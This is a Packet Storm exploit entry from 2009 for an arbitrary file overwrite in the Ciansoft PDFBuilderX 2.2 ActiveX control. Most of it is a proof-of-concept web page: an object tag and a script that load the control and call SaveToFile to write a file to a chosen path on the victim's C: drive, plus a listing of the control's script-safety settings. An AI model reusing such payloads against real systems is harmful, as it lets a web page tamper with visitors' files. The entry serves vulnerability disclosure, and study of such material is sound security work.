Ciansoft PDFBuilderX 2.2 File Overwrite

2009-01-14T00:00:00
ID PACKETSTORM:73801
Type packetstorm
Reporter Alfons Luja
Modified 2009-01-14T00:00:00

Description

                                        
                                            `Alfons Luja   
========================================================================================================================  
  
  
<b>   
Ciansoft PDFBuilderX 2.2 Arbitrary File Overwrite <br/>  
p0c <br/>  
Alfons Luja <br/>  
Pozdrowienia dla odFiecznych fanÓf <br/>   
Tesw Eporue <br/>  
-9002- <br/>  
l00l <br/>   
<b/>  
<object classid='clsid:00E7C7F8-71E2-498A-AB28-A3D72FC74485' id='kupa'></object>  
<script>  
/*  
Class PDFDoc  
GUID: {00E7C7F8-71E2-498A-AB28-A3D72FC74485}  
RegKey Safe for Script: False  
RegKey Safe for Init: False  
Implements IObjectSafety: True  
IDisp Safe: Safe for untrusted: caller,data   
IPStorage Safe: Safe for untrusted: caller,data   
KillBitSet: False  
vend0r : www.ciansoft.com  
*/   
try{  
var obj = document.getElementById('kupa');  
obj.AddPage(1);  
obj.SaveToFile("C:/system_.ini");  
window.alert('Aplauz !!! g0rion pownsYa l0l - n0wH Check ya C:');  
} catch(err){ window.alert('Poc failed'); }  
</script>  
========================================================================================================================  
`